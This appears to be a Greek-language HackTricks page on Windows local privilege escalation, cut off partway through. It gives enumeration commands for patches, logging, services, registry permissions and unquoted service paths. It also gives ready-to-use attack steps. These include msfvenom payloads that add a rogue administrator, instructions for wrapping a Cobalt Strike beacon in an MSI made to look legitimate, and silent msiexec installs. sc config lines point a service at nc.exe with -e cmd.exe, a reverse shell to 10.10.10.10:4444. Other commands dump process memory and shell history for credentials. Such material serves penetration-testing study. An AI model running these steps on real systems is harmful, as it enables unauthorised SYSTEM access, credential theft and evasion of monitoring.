Windows Local Privilege Escalation
Reading time: 63 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Το καλύτερο εργαλείο για την εύρεση Windows local privilege escalation vectors: WinPEAS
Αρχική θεωρία για τα Windows
Access Tokens
Εάν δεν ξέρετε τι είναι τα Windows Access Tokens, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:
ACLs - DACLs/SACLs/ACEs
Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με ACLs - DACLs/SACLs/ACEs:
Integrity Levels
Εάν δεν ξέρετε τι είναι τα integrity levels στα Windows, θα πρέπει να διαβάσετε την παρακάτω σελίδα πριν συνεχίσετε:
Μηχανισμοί ασφαλείας των Windows
Υπάρχουν διάφορα στοιχεία στα Windows που θα μπορούσαν να σας εμποδίσουν να κάνετε enumeration του συστήματος, να τρέξετε εκτελέσιμα ή ακόμα και να ανιχνεύσουν τις δραστηριότητές σας. Θα πρέπει να διαβάσετε την παρακάτω σελίδα και να καταγράψετε όλους αυτούς τους μηχανισμούς άμυνας πριν ξεκινήσετε την privilege escalation enumeration:
Πληροφορίες συστήματος
Version info enumeration
Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης και τα patches που έχουν εφαρμοστεί).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Εκδόσεις Exploits
Αυτός ο site είναι χρήσιμος για την αναζήτηση λεπτομερών πληροφοριών σχετικά με τις ευπάθειες ασφαλείας της Microsoft. Αυτή η βάση δεδομένων έχει περισσότερες από 4.700 ευπάθειες ασφαλείας, δείχνοντας την τεράστια επιφάνεια επίθεσης που παρουσιάζει ένα περιβάλλον Windows.
Στο σύστημα
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Τοπικά με πληροφορίες συστήματος
Github αποθετήρια με exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Περιβάλλον
Υπάρχουν διαπιστευτήρια/Juicy πληροφορίες αποθηκευμένες στις env variables;
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Ιστορικό
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Transcript αρχεία
Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Οι λεπτομέρειες των εκτελέσεων του PowerShell pipeline καταγράφονται, περιλαμβάνοντας executed commands, command invocations και τμήματα scripts. Ωστόσο, ίσως να μην καταγράφονται πλήρως οι λεπτομέρειες εκτέλεσης και τα αποτελέσματα εξόδου.
Για να το ενεργοποιήσετε, ακολουθήστε τις οδηγίες στην ενότητα "Transcript files" της τεκμηρίωσης, επιλέγοντας "Module Logging" αντί για "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Για να δείτε τα τελευταία 15 events από τα PowersShell logs, μπορείτε να εκτελέσετε:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Καταγράφεται πλήρες αρχείο δραστηριότητας και ολόκληρο το περιεχόμενο της εκτέλεσης του script, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα πλήρες αρχείο ελέγχου για κάθε ενέργεια, πολύτιμο για την εγκληματολογική ανάλυση και τη μελέτη κακόβουλης συμπεριφοράς. Τεκμηριώνοντας όλη τη δραστηριότητα κατά τον χρόνο εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Τα συμβάντα καταγραφής για το Script Block μπορούν να εντοπιστούν στο Windows Event Viewer στη διαδρομή: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.\ Για να δείτε τα τελευταία 20 συμβάντα μπορείτε να χρησιμοποιήσετε:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Ρυθμίσεις Διαδικτύου
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Δίσκοι
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Μπορείτε να παραβιάσετε το σύστημα εάν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας httpS αλλά http.
Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί non-SSL WSUS update εκτελώντας τα παρακάτω στο cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Ή το ακόλουθο σε PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Εάν λάβετε μια απάντηση όπως μία από αυτές:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Και αν HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
ή Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"
έχει τιμή 1
.
Τότε, είναι εκμεταλλεύσιμο. Αν το τελευταίο κλειδί μητρώου έχει τιμή 0, τότε η καταχώριση WSUS θα αγνοηθεί.
Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: Wsuxploit, pyWSUS - Αυτά είναι MiTM weaponized exploit scripts για να εισάγουν 'fake' ενημερώσεις στην non-SSL WSUS κίνηση.
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
Βασικά, αυτό είναι το σφάλμα που εκμεταλλεύεται αυτό το bug:
Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό proxy του χρήστη, και τα Windows Updates χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να τρέξουμε το PyWSUS τοπικά για να παρεμβληθούμε στην κίνησή μας και να τρέξουμε κώδικα ως αυξημένος χρήστης στο asset μας.
Επιπλέον, επειδή η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το certificate store του. Αν δημιουργήσουμε ένα self-signed πιστοποιητικό για το hostname του WSUS και προσθέσουμε αυτό το πιστοποιητικό στο certificate store του τρέχοντος χρήστη, θα μπορέσουμε να παρεμβληθούμε τόσο στην HTTP όσο και στην HTTPS κίνηση του WSUS. Το WSUS δεν χρησιμοποιεί μηχανισμούς τύπου HSTS για να εφαρμόσει μια trust-on-first-use επαλήθευση στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιαστεί είναι εμπιστευμένο από τον χρήστη και έχει το σωστό hostname, θα γίνει αποδεκτό από την υπηρεσία.
Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια χρησιμοποιώντας το εργαλείο WSUSpicious (μόλις απελευθερωθεί).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Πολλοί enterprise agents εκθέτουν μια localhost IPC επιφάνεια και ένα privileged update κανάλι. Εάν η enrollment μπορεί να αναγκαστεί σε έναν attacker server και ο updater εμπιστεύεται ένα rogue root CA ή έχει αδύναμους ελέγχους υπογραφής, ένας τοπικός χρήστης μπορεί να παραδώσει ένα κακόβουλο MSI που η υπηρεσία SYSTEM θα εγκαταστήσει. Δείτε μια γενικευμένη τεχνική (με βάση την αλυσίδα Netskope stAgentSvc – CVE-2025-0309) εδώ:
KrbRelayUp
Υφίσταται μια ευπάθεια local privilege escalation σε περιβάλλοντα Windows domain υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου το LDAP signing is not enforced, χρήστες που διαθέτουν δικαιώματα αυτο-διαχείρισης που τους επιτρέπουν να ρυθμίσουν το Resource-Based Constrained Delegation (RBCD), και την ικανότητα οι χρήστες να δημιουργούν computers εντός του domain. Είναι σημαντικό να σημειωθεί ότι αυτές οι απαιτήσεις ικανοποιούνται χρησιμοποιώντας τις προεπιλεγμένες ρυθμίσεις.
Βρείτε το exploit στο https://github.com/Dec0ne/KrbRelayUp
Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης δείτε https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If αυτές οι 2 καταχωρήσεις μητρώου είναι enabled (η τιμή είναι 0x1), τότε χρήστες οποιουδήποτε επιπέδου προνομίων μπορούν να install (εκτελέσουν) *.msi
αρχεία ως NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Αν έχετε μια συνεδρία meterpreter, μπορείτε να αυτοματοποιήσετε αυτήν την τεχνική χρησιμοποιώντας το module exploit/windows/local/always_install_elevated
PowerUP
Χρησιμοποιήστε την εντολή Write-UserAddMSI
από το power-up για να δημιουργήσετε μέσα στον τρέχοντα κατάλογο ένα αρχείο Windows MSI για να αυξήσετε τα προνόμια. Αυτό το script γράφει έναν προ-μεταγλωττισμένο MSI εγκαταστάτη που ζητά την προσθήκη χρήστη/ομάδας (οπότε θα χρειαστείτε πρόσβαση GIU):
Write-UserAddMSI
Απλώς εκτελέστε το δημιουργημένο binary για να κλιμακώσετε προνόμια.
MSI Wrapper
Διαβάστε αυτόν τον οδηγό για να μάθετε πώς να δημιουργήσετε έναν MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα .bat αρχείο αν απλώς θέλετε να εκτελέσετε command lines
Δημιουργία MSI με WIX
Δημιουργία MSI με Visual Studio
- Generate με Cobalt Strike ή Metasploit ένα new Windows EXE TCP payload στο
C:\privesc\beacon.exe
- Ανοίξτε Visual Studio, επιλέξτε Create a new project και πληκτρολογήστε "installer" στο πλαίσιο αναζήτησης. Επιλέξτε το project Setup Wizard και κάντε κλικ στο Next.
- Δώστε στο project ένα όνομα, όπως AlwaysPrivesc, χρησιμοποιήστε
C:\privesc
για τη θέση, επιλέξτε place solution and project in the same directory, και κάντε κλικ στο Create. - Συνεχίστε να πατάτε Next μέχρι να φτάσετε στο βήμα 3 από 4 (choose files to include). Κάντε κλικ στο Add και επιλέξτε το Beacon payload που μόλις δημιουργήσατε. Έπειτα κάντε κλικ στο Finish.
- Επιλέξτε το project AlwaysPrivesc στο Solution Explorer και στις Properties, αλλάξτε το TargetPlatform από x86 σε x64.
- Υπάρχουν και άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως τα Author και Manufacturer, που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη.
- Κάντε δεξί κλικ στο project και επιλέξτε View > Custom Actions.
- Κάντε δεξί κλικ στο Install και επιλέξτε Add Custom Action.
- Κάντε διπλό κλικ στο Application Folder, επιλέξτε το αρχείο beacon.exe και κάντε κλικ στο OK. Αυτό θα διασφαλίσει ότι το beacon payload θα εκτελεστεί μόλις τρέξει ο installer.
- Στις Custom Action Properties, αλλάξτε το Run64Bit σε True.
- Τέλος, build it.
- Εάν εμφανιστεί η προειδοποίηση
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
, βεβαιωθείτε ότι έχετε ορίσει την πλατφόρμα σε x64.
Εγκατάσταση MSI
Για να εκτελέσετε την εγκατάσταση του κακόβουλου αρχείου .msi
στο παρασκήνιο:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Για να εκμεταλλευτείτε αυτή την ευπάθεια μπορείτε να χρησιμοποιήσετε: exploit/windows/local/always_install_elevated
Antivirus και Ανιχνευτές
Ρυθμίσεις Ελέγχου
Αυτές οι ρυθμίσεις καθορίζουν τι καταγράφεται, οπότε πρέπει να προσέξετε
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, είναι χρήσιμο να γνωρίζουμε πού αποστέλλονται τα logs
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS έχει σχεδιαστεί για τη διαχείριση των τοπικών κωδικών του λογαριασμού Administrator, εξασφαλίζοντας ότι κάθε κωδικός είναι μοναδικός, τυχαιοποιημένος και ενημερώνεται τακτικά σε υπολογιστές που ανήκουν σε domain. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες στους οποίους έχουν παραχωρηθεί επαρκή δικαιώματα μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς διαχειριστή όταν έχουν εξουσιοδότηση.
WDigest
Εάν είναι ενεργό, οι κωδικοί σε απλό κείμενο αποθηκεύονται στο LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Από τα Windows 8.1, η Microsoft εισήγαγε αυξημένη προστασία για την Local Security Authority (LSA), ώστε να block τις προσπάθειες από μη αξιόπιστες διεργασίες να read its memory ή να inject code, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard εισήχθη στα Windows 10. Ο σκοπός του είναι να προστατεύει τα credentials που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως τα pass-the-hash attacks.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials πιστοποιούνται από την Local Security Authority (LSA) και χρησιμοποιούνται από συστατικά του λειτουργικού συστήματος. Όταν τα στοιχεία σύνδεσης ενός χρήστη πιστοποιούνται από ένα εγγεγραμμένο security package, τα domain credentials για τον χρήστη συνήθως δημιουργούνται.
Περισσότερες πληροφορίες για Cached Credentials εδώ.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Χρήστες & Ομάδες
Απαρίθμηση Χρηστών & Ομάδων
Πρέπει να ελέγξετε αν οποιαδήποτε από τις ομάδες στις οποίες ανήκετε διαθέτει ενδιαφέροντα δικαιώματα
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Προνομιακές ομάδες
Αν ανήκετε σε κάποια προνομιακή ομάδα, ίσως μπορέσετε να αυξήσετε τα προνόμια. Μάθετε για τις προνομιακές ομάδες και πώς να τις καταχραστείτε για να αυξήσετε τα προνόμια εδώ:
Token manipulation
Μάθετε περισσότερα για το τι είναι ένα token σε αυτή τη σελίδα: Windows Tokens.
Δείτε την παρακάτω σελίδα για να μάθετε για ενδιαφέροντα tokens και πώς να τα καταχραστείτε:
Συνδεδεμένοι χρήστες / Συνεδρίες
qwinsta
klist sessions
Φάκελοι χρηστών
dir C:\Users
Get-ChildItem C:\Users
Πολιτική κωδικού πρόσβασης
net accounts
Λήψη του περιεχομένου του πρόχειρου
powershell -command "Get-Clipboard"
Εκτελούμενες διεργασίες
Δικαιώματα αρχείων και φακέλων
Πρώτα απ' όλα, καταγράφοντας τις διεργασίες ελέγξτε για κωδικούς μέσα στη γραμμή εντολών της διεργασίας.
Ελέγξτε αν μπορείτε overwrite some binary running ή αν έχετε δικαιώματα εγγραφής στον φάκελο του binary για να εκμεταλλευτείτε πιθανές DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Να ελέγχετε πάντα για πιθανούς electron/cef/chromium debuggers running, you could abuse it to escalate privileges.
Έλεγχος δικαιωμάτων των binaries των processes
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Έλεγχος δικαιωμάτων των φακέλων των δυαδικών αρχείων των διεργασιών (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Μπορείτε να δημιουργήσετε ένα memory dump μιας διεργασίας που εκτελείται χρησιμοποιώντας procdump από sysinternals. Υπηρεσίες όπως FTP έχουν τα credentials in clear text in memory, δοκιμάστε να κάνετε dump τη μνήμη και να διαβάσετε τα credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Ανασφαλείς GUI εφαρμογές
Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέψουν σε έναν χρήστη να εκκινήσει ένα CMD ή να περιηγηθεί σε φακέλους.
Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζήτηση για "command prompt", κάντε κλικ στο "Click to open Command Prompt"
Υπηρεσίες
Λήψη λίστας υπηρεσιών:
net start
wmic service list brief
sc query
Get-Service
Δικαιώματα
Μπορείτε να χρησιμοποιήσετε sc για να λάβετε πληροφορίες για μια υπηρεσία
sc qc <service_name>
Συνιστάται να έχετε το εκτελέσιμο accesschk από το Sysinternals για να ελέγξετε το απαιτούμενο επίπεδο δικαιωμάτων για κάθε υπηρεσία.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Συνιστάται να ελέγξετε εάν οι "Authenticated Users" μπορούν να τροποποιήσουν κάποια υπηρεσία:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Ενεργοποίηση υπηρεσίας
Αν αντιμετωπίζετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV):
Παρουσιάστηκε σφάλμα συστήματος 1058.
Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει συσχετισμένες ενεργοποιημένες συσκευές.
Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Λάβετε υπόψη ότι η υπηρεσία upnphost εξαρτάται από την SSDPSRV για να λειτουργήσει (για XP SP1)
Μια άλλη λύση σε αυτό το πρόβλημα είναι να τρέξετε:
sc.exe config usosvc start= auto
Τροποποίηση διαδρομής δυαδικού αρχείου υπηρεσίας
Σε σενάριο όπου η ομάδα "Authenticated users" διαθέτει SERVICE_ALL_ACCESS σε μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου δυαδικού αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Επανεκκίνηση υπηρεσίας
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Τα προνόμια μπορούν να αναβαθμιστούν μέσω διαφόρων δικαιωμάτων:
- SERVICE_CHANGE_CONFIG: Επιτρέπει την επαναδιαμόρφωση του binary της υπηρεσίας.
- WRITE_DAC: Επιτρέπει την επαναδιαμόρφωση δικαιωμάτων, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
- WRITE_OWNER: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση δικαιωμάτων.
- GENERIC_WRITE: Κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
- GENERIC_ALL: Επίσης κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
Για τον εντοπισμό και την εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το exploit/windows/local/service_permissions.
Αδύναμα δικαιώματα στα binaries των υπηρεσιών
Ελέγξτε αν μπορείτε να τροποποιήσετε το binary που εκτελείται από μια υπηρεσία ή αν έχετε δικαιώματα εγγραφής στον φάκελο όπου βρίσκεται το binary (DLL Hijacking).
Μπορείτε να πάρετε κάθε binary που εκτελείται από μια υπηρεσία χρησιμοποιώντας wmic (not in system32) και να ελέγξετε τα δικαιώματά σας χρησιμοποιώντας icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Μπορείτε επίσης να χρησιμοποιήσετε sc και icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Δικαιώματα τροποποίησης μητρώου υπηρεσιών
Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε κάποιο μητρώο υπηρεσίας.
Μπορείτε να ελέγξετε τις άδειες σας πάνω σε ένα μητρώο υπηρεσίας κάνοντας:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Πρέπει να ελεγχθεί αν οι Authenticated Users ή NT AUTHORITY\INTERACTIVE κατέχουν δικαιώματα FullControl
. Αν ναι, το binary που εκτελείται από την υπηρεσία μπορεί να τροποποιηθεί.
Για να αλλάξετε το Path του binary που εκτελείται:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Δικαιώματα AppendData/AddSubdirectory στο registry υπηρεσιών
Εάν έχετε αυτό το δικαίωμα σε ένα registry, αυτό σημαίνει ότι μπορείτε να δημιουργήσετε sub registries από αυτό. Στην περίπτωση των Windows services αυτό είναι αρκετό για να εκτελέσετε αυθαίρετο κώδικα:
AppendData/AddSubdirectory permission over service registry
Unquoted Service Paths
Εάν η διαδρομή προς ένα εκτελέσιμο δεν είναι μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τμήμα της διαδρομής πριν από κάθε κενό.
Για παράδειγμα, για τη διαδρομή C:\Program Files\Some Folder\Service.exe τα Windows θα προσπαθήσουν να εκτελέσουν:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Καταγράψτε όλες τις διαδρομές υπηρεσιών που δεν είναι σε εισαγωγικά, εξαιρώντας αυτές των ενσωματωμένων υπηρεσιών Windows:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Μπορείτε να εντοπίσετε και να εκμεταλλευτείτε αυτήν την ευπάθεια με metasploit: exploit/windows/local/trusted\_service\_path
Μπορείτε να δημιουργήσετε χειροκίνητα ένα service binary με metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Ενέργειες Ανάκτησης
Τα Windows επιτρέπουν στους χρήστες να καθορίζουν ενέργειες που θα εκτελούνται αν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα binary. Εάν αυτό το binary μπορεί να αντικατασταθεί, μπορεί να είναι δυνατή η privilege escalation. Περισσότερες λεπτομέρειες μπορείτε να βρείτε στην επίσημη τεκμηρίωση.
Εφαρμογές
Εγκατεστημένες Εφαρμογές
Ελέγξτε τα permissions of the binaries (ίσως να μπορείτε να αντικαταστήσετε ένα και να escalate privileges) και των folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Δικαιώματα εγγραφής
